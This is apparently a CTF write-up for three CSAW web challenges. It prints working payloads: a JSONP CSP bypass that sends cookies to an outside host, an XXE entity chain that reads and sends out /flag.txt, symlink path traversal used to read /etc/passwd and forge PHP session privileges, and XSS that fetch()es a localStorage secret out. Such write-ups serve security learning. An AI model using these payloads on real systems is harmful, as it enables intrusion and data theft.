CSAW CTF(Web)

Note:  This write up doesn’t explain all steps, for free to email me at: peipei123gt@gmail.com if you not sure how I get X.

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

#BabyCSP:

1. Bad CSP rule:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

2. Submit a post with the payload and report to admin:

<script src='https://accounts.google.com/o/oauth2/revoke?callback=document.location="https://www.wispwisp.com/?aa="%2bdocument.cookie;a'></script>

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

3. Wait, and Got flag in /var/log/apache2/access.log:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

CSP bypass(with JSONP) reference:

https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy

https://github.com/zigoo0/JSONBee

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

#unagi:

XXE payload:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

XXE Waf bypass:

https://mohemiv.com/tags/xxe/

1. Create payload.xml:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://www.wispwisp.com/ctf/csaw.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

2. Convert the file to bypass WAF:

cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

3. Host this dtd file(http://www.wispwisp.com/ctf/csaw.dtd):

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://wispwisp.com/dtd.xml?%data;'>">

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

4. Upload Payload.xml

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

5. Got base64 encoded flag in /var/log/apache2/access.log:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

6. Base64 decode:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

#Secure File Storage

(I failed to solve this challenge during the CTF, because I didn’t realize the bot can not visit HTTPS site. I change my payload from HTTPS to HTTP then I receive the Key. Sad 😢 )

0: Download the Client.py provide by the challenge, empty the main function.

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

1. Register account + Login + Get SessionID + Upload random file(ex: temp.txt)

username_tmp = "randomusername"
password = "randompassword"
api_register(username_tmp, password)
api_login(username_tmp, password)
sess_id_1 = session.cookies['PHPSESSID']
api_create_file("temp.txt", "aaa")

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

2. Symlink+read+edit => arbitrary file read/write

api_create_symlink("etc_passwd", "/../../../../../../etc/passwd")
print(api_get_file('etc_passwd'))

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

3. Get all the source code from the server with symlink+read, review source code to gain more information.

api_create_symlink("web_file", "/../../../../../../var/www/html/index.php") 
print(api_get_file('web_file'))

Repeat for all files:

/var/www/html/*

/var/www/html/views/*

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ 

4. Symlink tmp directory, current PHP session file. Edit session file to get admin privileges and list the tmp directory

api_create_symlink("tmp.txt", "/../../../../../../../../tmp/") 
api_create_symlink("session.txt", "/../../../../../../../../tmp/sess_{}".format(sess_id_1)) 
print(api_get_file('session.txt'))

Change privs to 15 to gain admin privileges, and list the /tmp directory:

api_update_file('session.txt', 'current_user|O:4:"User":4:{s:8:"username";s:14:"randomusername";
s:8:"password";s:60:"$2y$10$1N3EwIDExK2SBz9f.6xhWuENRJ7Cr6RRckqpL2EPvtLXOM1QKtzDe";s:5:"privs";
s:2:"15";s:2:"id";i:230;}')
print(api_list_files('tmp.txt'))

In postman:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

5. symlink+read -> get encrypted flag.txt

After reading the source code, I know the flag path is: /tmp/user_data/1/flag.txt

api_create_symlink("flag.txt", "/../../../../../../../tmp/user_data/1/flag.txt") 
print(api_get_file('flag.txt'))

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

6. Write a script to find the admin session file(in /tmp), the username in the session file will be ‘admin’. 

The script should tell you the admin session file is: sess_4umud1lupqn0mpibor27r283o1

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

7. Symlink + edit modify admin session file, change the username to XSS payload.

api_create_symlink("admin_session", "/../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1") 

api_update_file('admin_session', 'current_user|O:4:"User":4:{s:8:"username";s:81:"<script> fetch(
'http://www.wispwisp.com?key='+localStorage.encryptSecret)</script>";s:8:"password";s:6 0:"$2y$10
$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}')

my payload:

<script> fetch( 'http://www.wispwisp.com?key='+localStorage.encryptSecret)</script>

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

8. Wait for Admin visit the admin Page, and receive the decryption key:

localStorage.encryptSecret: wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌

9. Decrypt the Cipher(encrypted flag) with the Key to get the flag:

Leave a Reply

Your email address will not be published. Required fields are marked *